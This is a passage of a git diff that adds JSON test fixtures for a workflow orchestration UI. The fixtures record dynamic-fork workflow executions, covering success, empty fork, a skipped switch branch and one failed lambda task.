"scheduledTime": 1656008300540, + "startTime": 1656008300531, + "endTime": 1656008301031, + "updateTime": 1656008300760, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "bf2963cd-e545-4a26-b533-2ae760e77634", + "callbackAfterSeconds": 0, + "outputData": { + "result": 11 + }, + "workflowTask": { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -9, + "loopOverTask": false + }, + { + "taskType": "JOIN", + "status": "COMPLETED", + "inputData": { + "joinOn": ["first_task", "second_task", "third_task"] + }, + "referenceTaskName": "join_dynamic", + "retryCount": 0, + "seq": 5, + "pollCount": 0, + "taskDefName": "JOIN", + "scheduledTime": 1656008300542, + "startTime": 1656008300531, + "endTime": 1656008301085, + "updateTime": 1656008300831, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "25ddfe4d-eaf0-4171-964f-9b53ad06002b", + "callbackAfterSeconds": 0, + "outputData": { + "second_task": { + "result": 233 + }, + "third_task": { + "result": 11 + }, + "first_task": { + "result": 45 + } + }, + "workflowTask": { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -11, + "loopOverTask": false + } + ], + "input": { + "tasksJSON": [ + { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "tasksInputJSON": { + "first_task": { + "number": 46 + }, + "second_task": { + "number": 234 + }, + "third_task": { + "number": 12 + } + } + }, + "output": { + "second_task": { + "result": 233 + }, + "third_task": { + "result": 11 + }, + "first_task": { + "result": 45 + } + }, + "taskToDomain": {}, + "failedReferenceTaskNames": [], + "workflowDefinition": { + "createTime": 1656005417724, + "updateTime": 1656005671608, + "name": "example_dynamic_tasks", + "description": "A workflow that allows dynamic execution of tasks", + "version": 2, + "tasks": [ + { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": ["tasksJSON", "tasksInputJSON"], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "mwi-workflow-dev@netflix.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + "priority": 0, + "variables": {}, + "lastRetriedTime": 0, + "startTime": 1656008300448, + "workflowName": "example_dynamic_tasks", + "workflowVersion": 2 +} diff --git a/ui/e2e/fixtures/dynamicFork/noneSpawned.json b/ui/e2e/fixtures/dynamicFork/noneSpawned.json new file mode 100644 index 0000000..0a9dbed --- /dev/null +++ b/ui/e2e/fixtures/dynamicFork/noneSpawned.json @@ -0,0 +1,180 @@ +{ + "ownerApp": "peterl@netflix.com", + "createTime": 1656096815470, + "status": "COMPLETED", + "endTime": 1656096815832, + "workflowId": "fe4efd7b-73ea-4c48-8147-840fa4e1e63b", + "tasks": [ + { + "taskType": "FORK", + "status": "COMPLETED", + "inputData": { + "forkedTaskDefs": [], + "forkedTasks": [] + }, + "referenceTaskName": "dynamic_tasks", + "retryCount": 0, + "seq": 1, + "pollCount": 0, + "taskDefName": "FORK", + "scheduledTime": 1656096815568, + "startTime": 1656096815566, + "endTime": 1656096815566, + "updateTime": 1656096815577, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "fe4efd7b-73ea-4c48-8147-840fa4e1e63b", + "workflowType": "example_dynamic_tasks", + "taskId": "01a706f7-c28d-4287-a179-8075d16ff201", + "callbackAfterSeconds": 0, + "outputData": {}, + "workflowTask": { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -2, + "loopOverTask": false + }, + { + "taskType": "JOIN", + "status": "COMPLETED", + "inputData": { + "joinOn": [] + }, + "referenceTaskName": "join_dynamic", + "retryCount": 0, + "seq": 2, + "pollCount": 0, + "taskDefName": "JOIN", + "scheduledTime": 1656096815570, + "startTime": 1656096815566, + "endTime": 1656096815708, + "updateTime": 1656096815631, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "fe4efd7b-73ea-4c48-8147-840fa4e1e63b", + "workflowType": "example_dynamic_tasks", + "taskId": "00781ceb-1931-4537-a4f5-ab38b04015f1", + "callbackAfterSeconds": 0, + "outputData": {}, + "workflowTask": { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -4, + "loopOverTask": false + } + ], + "input": { + "tasksJSON": [], + "tasksInputJSON": {} + }, + "output": {}, + "taskToDomain": {}, + "failedReferenceTaskNames": [], + "workflowDefinition": { + "createTime": 1656005417724, + "updateTime": 1656005671608, + "name": "example_dynamic_tasks", + "description": "A workflow that allows dynamic execution of tasks", + "version": 2, + "tasks": [ + { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": ["tasksJSON", "tasksInputJSON"], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "mwi-workflow-dev@netflix.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + "priority": 0, + "variables": {}, + "lastRetriedTime": 0, + "startTime": 1656096815470, + "workflowName": "example_dynamic_tasks", + "workflowVersion": 2 +} diff --git a/ui/e2e/fixtures/dynamicFork/notExecuted.json b/ui/e2e/fixtures/dynamicFork/notExecuted.json new file mode 100644 index 0000000..0328318 --- /dev/null +++ b/ui/e2e/fixtures/dynamicFork/notExecuted.json @@ -0,0 +1,192 @@ +{ + "ownerApp": "nq_mwi_conductor_ui_server", + "createTime": 1656017015654, + "status": "COMPLETED", + "endTime": 1656017016239, + "workflowId": "5daaf83f-e1f4-454f-9293-4d0443c6c729", + "tasks": [ + { + "taskType": "SWITCH", + "status": "COMPLETED", + "inputData": { + "case": "false" + }, + "referenceTaskName": "switch_task", + "retryCount": 0, + "seq": 1, + "pollCount": 0, + "taskDefName": "SWITCH", + "scheduledTime": 1656017015966, + "startTime": 1656017015955, + "endTime": 1656017016105, + "updateTime": 1656017015987, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "5daaf83f-e1f4-454f-9293-4d0443c6c729", + "workflowType": "example_dynamic_tasks_switch", + "taskId": "d0d6ab7b-ac8f-4754-9020-3ea13429d92b", + "callbackAfterSeconds": 0, + "outputData": { + "evaluationResult": ["false"] + }, + "workflowTask": { + "name": "switch_task", + "taskReferenceName": "switch_task", + "inputParameters": { + "switchCaseValue": "${workflow.input.runFork}" + }, + "type": "SWITCH", + "decisionCases": { + "true": [ + { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue" + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -11, + "loopOverTask": false + } + ], + "input": { + "runFork": false + }, + "output": { + "evaluationResult": ["false"] + }, + "taskToDomain": {}, + "failedReferenceTaskNames": [], + "workflowDefinition": { + "createTime": 1656015554295, + "updateTime": 1656015597435, + "name": "example_dynamic_tasks_switch", + "description": "A workflow that allows dynamic execution of tasks", + "version": 2, + "tasks": [ + { + "name": "switch_task", + "taskReferenceName": "switch_task", + "inputParameters": { + "switchCaseValue": "${workflow.input.runFork}" + }, + "type": "SWITCH", + "decisionCases": { + "true": [ + { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue" + } + ], + "inputParameters": ["tasksJSON", "tasksInputJSON"], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "peterl@netflix.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + "priority": 0, + "variables": {}, + "lastRetriedTime": 0, + "startTime": 1656017015654, + "workflowName": "example_dynamic_tasks_switch", + "workflowVersion": 2 +} diff --git a/ui/e2e/fixtures/dynamicFork/oneFailed.json b/ui/e2e/fixtures/dynamicFork/oneFailed.json new file mode 100644 index 0000000..b0102f2 --- /dev/null +++ b/ui/e2e/fixtures/dynamicFork/oneFailed.json @@ -0,0 +1,474 @@ +{ + "ownerApp": "nq_mwi_conductor_ui_server", + "createTime": 1656008463986, + "status": "FAILED", + "endTime": 1656008464720, + "workflowId": "d4b14434-73a7-4be9-b085-d4b40b30856e", + "tasks": [ + { + "taskType": "FORK", + "status": "COMPLETED", + "inputData": { + "forkedTaskDefs": [ + { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": null + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkedTasks": ["first_task", "second_task", "third_task"] + }, + "referenceTaskName": "dynamic_tasks", + "retryCount": 0, + "seq": 1, + "pollCount": 0, + "taskDefName": "FORK", + "scheduledTime": 1656008464075, + "startTime": 1656008464065, + "endTime": 1656008464065, + "updateTime": 1656008464094, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "d4b14434-73a7-4be9-b085-d4b40b30856e", + "workflowType": "example_dynamic_tasks", + "taskId": "743d552b-a683-473d-831e-bb7fae622e08", + "callbackAfterSeconds": 0, + "outputData": {}, + "workflowTask": { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -10, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 46, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "first_task", + "retryCount": 0, + "seq": 2, + "pollCount": 0, + "taskDefName": "first_task", + "scheduledTime": 1656008464077, + "startTime": 1656008464069, + "endTime": 1656008464374, + "updateTime": 1656008464148, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "d4b14434-73a7-4be9-b085-d4b40b30856e", + "workflowType": "example_dynamic_tasks", + "taskId": "4ccaa5a8-59d0-40d7-b5f8-918f22c2536f", + "callbackAfterSeconds": 0, + "outputData": { + "result": 45 + }, + "workflowTask": { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -8, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "FAILED", + "inputData": { + "number": 234, + "scriptExpression": null + }, + "referenceTaskName": "second_task", + "retryCount": 0, + "seq": 3, + "pollCount": 0, + "taskDefName": "second_task", + "scheduledTime": 1656008464081, + "startTime": 1656008464072, + "endTime": 1656008464428, + "updateTime": 1656008464202, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "d4b14434-73a7-4be9-b085-d4b40b30856e", + "workflowType": "example_dynamic_tasks", + "taskId": "33e96a6e-5096-4004-ac29-87e0732232f5", + "reasonForIncompletion": "Empty 'scriptExpression' in Lambda task's input parameters. A non-empty String value must be provided.", + "callbackAfterSeconds": 0, + "outputData": {}, + "workflowTask": { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": null + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -9, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 12, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "third_task", + "retryCount": 0, + "seq": 4, + "pollCount": 0, + "taskDefName": "third_task", + "scheduledTime": 1656008464083, + "startTime": 1656008464073, + "endTime": 1656008464482, + "updateTime": 1656008464257, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "d4b14434-73a7-4be9-b085-d4b40b30856e", + "workflowType": "example_dynamic_tasks", + "taskId": "951ef8b2-fa61-4896-bdf9-e781fded8e82", + "callbackAfterSeconds": 0, + "outputData": { + "result": 11 + }, + "workflowTask": { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -10, + "loopOverTask": false + }, + { + "taskType": "JOIN", + "status": "FAILED", + "inputData": { + "joinOn": ["first_task", "second_task", "third_task"] + }, + "referenceTaskName": "join_dynamic", + "retryCount": 0, + "seq": 5, + "pollCount": 0, + "taskDefName": "JOIN", + "scheduledTime": 1656008464086, + "startTime": 1656008464073, + "endTime": 1656008464537, + "updateTime": 1656008464312, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "d4b14434-73a7-4be9-b085-d4b40b30856e", + "workflowType": "example_dynamic_tasks", + "taskId": "6471a9e8-3049-40f2-9ab8-c75876c9c1a3", + "reasonForIncompletion": "Empty 'scriptExpression' in Lambda task's input parameters. A non-empty String value must be provided. ", + "callbackAfterSeconds": 0, + "outputData": { + "first_task": { + "result": 45 + } + }, + "workflowTask": { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -13, + "loopOverTask": false + } + ], + "input": { + "tasksJSON": [ + { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": null + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "tasksInputJSON": { + "first_task": { + "number": 46 + }, + "second_task": { + "number": 234 + }, + "third_task": { + "number": 12 + } + } + }, + "output": { + "first_task": { + "result": 45 + } + }, + "reasonForIncompletion": "Empty 'scriptExpression' in Lambda task's input parameters. A non-empty String value must be provided.", + "taskToDomain": {}, + "failedReferenceTaskNames": ["second_task", "join_dynamic"], + "workflowDefinition": { + "createTime": 1656005417724, + "updateTime": 1656005671608, + "name": "example_dynamic_tasks", + "description": "A workflow that allows dynamic execution of tasks", + "version": 2, + "tasks": [ + { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": ["tasksJSON", "tasksInputJSON"], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "mwi-workflow-dev@netflix.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + "priority": 0, + "variables": {}, + "lastRetriedTime": 0, + "startTime": 1656008463986, + "workflowName": "example_dynamic_tasks", + "workflowVersion": 2 +} diff --git a/ui/e2e/fixtures/dynamicFork/success.json b/ui/e2e/fixtures/dynamicFork/success.json new file mode 100644 index 0000000..806fbe6 --- /dev/null +++ b/ui/e2e/fixtures/dynamicFork/success.json @@ -0,0 +1,485 @@ +{ + "ownerApp": "nq_mwi_conductor_ui_server", + "createTime": 1656008300448, + "status": "COMPLETED", + "endTime": 1656008301210, + "workflowId": "e66254b6-388d-43a6-b890-c518df832e51", + "tasks": [ + { + "taskType": "FORK", + "status": "COMPLETED", + "inputData": { + "forkedTaskDefs": [ + { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkedTasks": ["first_task", "second_task", "third_task"] + }, + "referenceTaskName": "dynamic_tasks", + "retryCount": 0, + "seq": 1, + "pollCount": 0, + "taskDefName": "FORK", + "scheduledTime": 1656008300534, + "startTime": 1656008300525, + "endTime": 1656008300525, + "updateTime": 1656008300549, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "b49dc1be-66eb-4816-8ee1-6aaea25f14ba", + "callbackAfterSeconds": 0, + "outputData": {}, + "workflowTask": { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -9, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 46, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "first_task", + "retryCount": 0, + "seq": 2, + "pollCount": 0, + "taskDefName": "first_task", + "scheduledTime": 1656008300535, + "startTime": 1656008300527, + "endTime": 1656008300922, + "updateTime": 1656008300628, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "6ce064a7-7ef3-413c-b6af-318cb7e6751e", + "callbackAfterSeconds": 0, + "outputData": { + "result": 45 + }, + "workflowTask": { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return 